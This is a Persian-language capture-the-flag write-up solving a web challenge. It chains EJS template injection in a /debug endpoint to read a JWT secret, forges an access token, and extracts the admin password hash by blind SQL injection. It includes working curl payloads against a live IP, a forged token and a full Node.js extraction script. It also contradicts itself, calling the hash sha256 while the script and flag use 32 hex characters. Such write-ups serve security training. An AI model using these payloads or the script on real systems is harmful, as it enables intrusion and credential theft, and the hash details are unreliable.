چالش وب اول - رنگارنگ
توضیحات
از بچگی عاشق رنگارنگ بودم!
قالب پرچم در این سوال به صورت
PARCHAM{sha256(admin's password)}
است.
حل چالش
گام اول
در این سوال به ما آدرس یک سایت داده شده. با بررسی سایت متوجه میشویم که سایت در حالتهای مختلف صفحههای مختلف دارد.
«وقتی کاربر لاگین نکرده است»
در این حالت دو صفحۀ اصلیای که وجود دارد،
/login
و صفحهی
/register
است. مشخصات کاربر برای ثبت نام
کردن علاوه بر نام کاربری و کلمهی عبور یک عدد مورد علاقه
(بین ۱ تا ۲۰) و یک رنگ مورد علاقه (از رنگهای داده شده) است. در
عکس زیر تصویر مربوط به صفحهی
/register
آمده است.

«وقتی کاربر لاگین کرده است»
برای این حالت از صفحهی register یک حساب جدید میسازیم و با
مشخصات آن وارد سایت میشویم.
میبینیم که در این حالت دو صفحه وجود دارد:
-
صفحه welcome: در این صفحه عبارت welcome با نام کاربری امده است.
-
صفحه Report که در آدرس
/report
آمده است: این صفحه به ما خطای Access Denied میدهد.

علاوه بر این دو صفحه. در حالت لاگین شده میتوان از طریق آدرس
/logout
از حالت لاگین خارج شد.
«صفحات نشان دادن کد برنامه»
در هر دو حالت دسترسی به صفحه /debug وجود دارد. با بررسی کردن آن متوجه میشویم که در مجموع به source فایلهای زیر از کد برنامه دسترسی داریم.
صفحهی index.js
صفحهی engine.js
صفحهی debugMode.js
که با query string ای با نام file به آدرس debug داده شده است.
گام دوم
شروع به بررسی کدهای برنامه میکنیم. این برنامه با استفاده از
کتابخانهی express روی node.js کار میکند.
برای نگه داشتن اطلاعات کاربران به یک پایگاه دادهی mysql
وصل میشود. مثلاً کد زیر بخش register است. لاگین بودن کاربران با
cookie اتفاق میافتد که به صورت stateless است و از
jwt
برای آن استفاده شده.
const q = 'INSERT INTO users VALUES (NULL, ?, ?, ?, ?, 0)';
const p = hash(password);
connection.query(q, [username, p, number, color], function (err, r, f) {
if (err) {
console.log(err);
console.log();
console.log(err.stack);
console.log();
res.rs(engine.get('register'), {colors, err: true, text: username});
return;
}
res.redirect('/login');
});
صفحهی engine.js با استفاده از ejs template engine صفحات را رندر میکند. به تمام res ها تابع rs را اضافه میکند که یک تمپلیت را با دیتای مشخص رندر میکند و در index.js و debugMode.js از این فانکشن برای رندر کردن استفاده میشود.
res.rs = function renderAndSend(template, data = {}) {
res.send(ejs.render(template, data, {
views: [path.join(__dirname, './views/')]
}));
};
همچنین فایل debugMode.js کار syntax highlighting را انجام میدهد و endpoint ای به express اضافه میکند که صفحهی /debug را هندل میکند.
با بررسی کد متوجه میشویم که یک اشتباه در پیادهسازی این هندلر در debugMode.js اتفاق افتاده: اگر query string ورودی (به نام file) سه فایل گفته شده در بالا نباشد به کاربر یک خطا نشان داده میشود.
if (!sources.includes(file)) {
console.log(file);
res.rs(`<h1>cannot open file ${file}</h1>`);
return;
}
در زبان javascript استفاده از
${file}
ورودی کاربر را درون استرینگ قرار
میدهد. اما این ورودی به صورت مستقیم به تابع rs
داده
شده. که آن را با استفاده از ejs رندر میکند. یعنی اینجا میتوانیم
از template injection استفاده کنیم.
گام سوم
برای مطمئن شدن از این injection میتوانیم از دستور زیر استفاده کنیم:
$ curl "http://86.104.33.87:1339/debug?file=hi+<%-7*7%>"
<h1>cannot open file hi 49</h1>
حالا باید از این template injection استفاده کنیم تا کلید مربوط به jwt را پیدا کنیم. در فایل index این کلید به این شکل خوانده شده است.
const {secret} = require('./jwtSecret');
در node.js هنگام require کردن، فایلهای مختلفی ممکن است باز شود. سه مورد زیر بعضی از آنهاست. (این همهی حالتها نیست. و میتواند پیچیدهتر باشد. ولی معمولاً یکی از این سه حالت است)
jwtSecret.js
jwtSecret.json
jwtSecret/index.js
با داشتن template injection میتوانیم هر کدام از این فایلها را
بررسی کنیم تا به کلید jwt برسیم. در ejs برای خواندن یک فایل
میتوانیم از دستور include استفاده کنیم.
به علاوه از کد engine.js داشتیم که فایلهای تمپلتها در آدرس
path.join(__dirname, './views/')
قرار
داشت. پس برای دسترسی به فایل jwtSecret باید یک پوشه به عقب
برگردیم. پس سعی میکنیم دستور زیر را به عنوان تمپلت اجرا کنیم.
<%- include('../jwtSecret.js') %>
که با curl به شکل زیر میشود.
curl "http://86.104.33.87:1339/debug?file=<%-include('../jwtSecret.js')%>" && echo
<h1>cannot open file module.exports.secret = "jwt_707ae7473899d00d577aa8c019fa17c0103f7dceeb10e0d112079d1388d5d28d";
</h1>
و به مقدار jwt secret میرسیم. با بررسی jwt ای که در cookie بعد از لاگین قرار داشت (و یا از طریق کد) میفهمیم که مقدار access آن اگر ۱ باشد دسترسی ما به صفحهی /report باز میشود پس cookie اکانتی که ساختیم را تغییر میدهیم و با کلیدی که به دست آوردیم دوباره رمز میکنیم. (مثلاً با استفاده از این ابزار). مثلاً برای اکانتی که من ساخته بودم با تغییر access به ۱ و دوباره ساختن jwt به کلید جدید زیر رسیدم:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImZvcndyaXRldXAiLCJhY2Nlc3MiOjEsImlhdCI6MTYwODQ1MTYzNn0.dQZwpP9k4T7BxEIMmXJdgJ1RGxUk3y2XRMUkkojZ3Uw
حالا میتواینم این را در cookie خود قرار دهیم و به صفحهی /report دسترسی پیدا کنیم!

گام چهارم
حالا که به صفحهی /report
و
/api/report
دسترسی داریم میتوانیم از اشتباهی که در
پیادهسازی /api/report
وجود دارد استفاده کنیم.
در این قسمت برای به دست آوردن مقدارهای نمودار از کد زیر استفاده
شده.
connection.query(
`SELECT number, COUNT(id) FROM users WHERE color="${color}" GROUP BY number ORDER BY number;`,
function (error, results, fields) {
....
}
);
همانطور که از روی کد معلوم است در این بخش ورودی color بدون تغییر به sql رفته است و اینجا sql injection داریم. این دستور sql را میتوانیم به شکل زیر تغییر دهیم:
-- input somecolor" and username="admin
SELECT number, COUNT(id) FROM users WHERE color="somecolor" and username="admin" GROUP BY number ORDER BY number
در این حالت این شمارش فقط برای admin و رنگی که گفته شده انجام میشود. در نتیجه اگر رنگ مورد علاقهی admin را به عنوان ورودی داده باشیم در یک عدد (که عدد مورد علاقهی admin است) مقدار ۱ میشود. در هر حالت دیگر مقدار ها صفر است.
مثلاً آدرس برای رنگ آبی اگر در مرورگری که cookie مناسب برای دسترسی به report داشته باشد باز کنیم پاسخ زیر را میگیریم
{"data":[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]}
و با تست کردن رنگهای مختلف میفهمیم که برای رنگ قرمز به خروجی زیر میرسیم.
{"data":[0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0]}
این یعنی رنگ مورد علاقهی admin، قرمز بوده و عدد مورد علاقه اش ۷ بوده است. حالا با کمی تغییر دستور قبلی میتوانیم پسورد ادمین را هم به query مربوط کنیم.
-- input red" and username="admin" and password like "somepass%
SELECT number, COUNT(id) FROM users WHERE color="red" and username="admin" and password like "somepass%" GROUP BY number ORDER BY number
این کد در صورتی مقدار ۱ در data ی خود دارد، که sha256 پسورد
ادمین (که در فیلد password در دیتابیس نگه داری میشود)
با somepass شروع شود. پس حالا یک روش برای blind injection
داریم.
کد زیر را مینویسیم تا از blind sql injection استفاده کند و به
sha256 پسورد ادمین برسیم.
const fs = require('fs');
const needle = require('needle');
const assert = require('assert').strict;
const jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImZvcndyaXRldXAiLCJhY2Nlc3MiOjEsImlhdCI6MTYwODQ1MTYzNn0.dQZwpP9k4T7BxEIMmXJdgJ1RGxUk3y2XRMUkkojZ3Uw";
const url="http://86.104.33.87:1339/api/report";
async function query(q) {
const u = `${url}?color=${escape(q)}`;
console.log(u);
const r = await needle("GET", u, null, {
cookies: {
token: jwt
}
});
assert(r.statusCode === 200);
return r.body;
}
async function main() {
const hex = "0123456789abcdef";
const len = 32;
const faveColor = "red";
const faveNum = 7;
let md5 = "";
for (let i = 0; i < len; ++i) {
let found = false;
for (const c of hex) {
const {data} = await query(`${faveColor}" and username="admin" and password like "${md5}${c}%`);
if (data[faveNum - 1] === 1) {
found = true;
md5 += c;
break;
}
}
if (!found)
throw new Error("Unknown char");
}
console.log("admin pass:", md5);
}
main();
با اجرای این کد مقدار sha256 پسورد ادمین را پیدا میکنیم که از روی آن flag را میسازیم:
PARCHAM{b7d11cb293f49353dad831927bf45b20}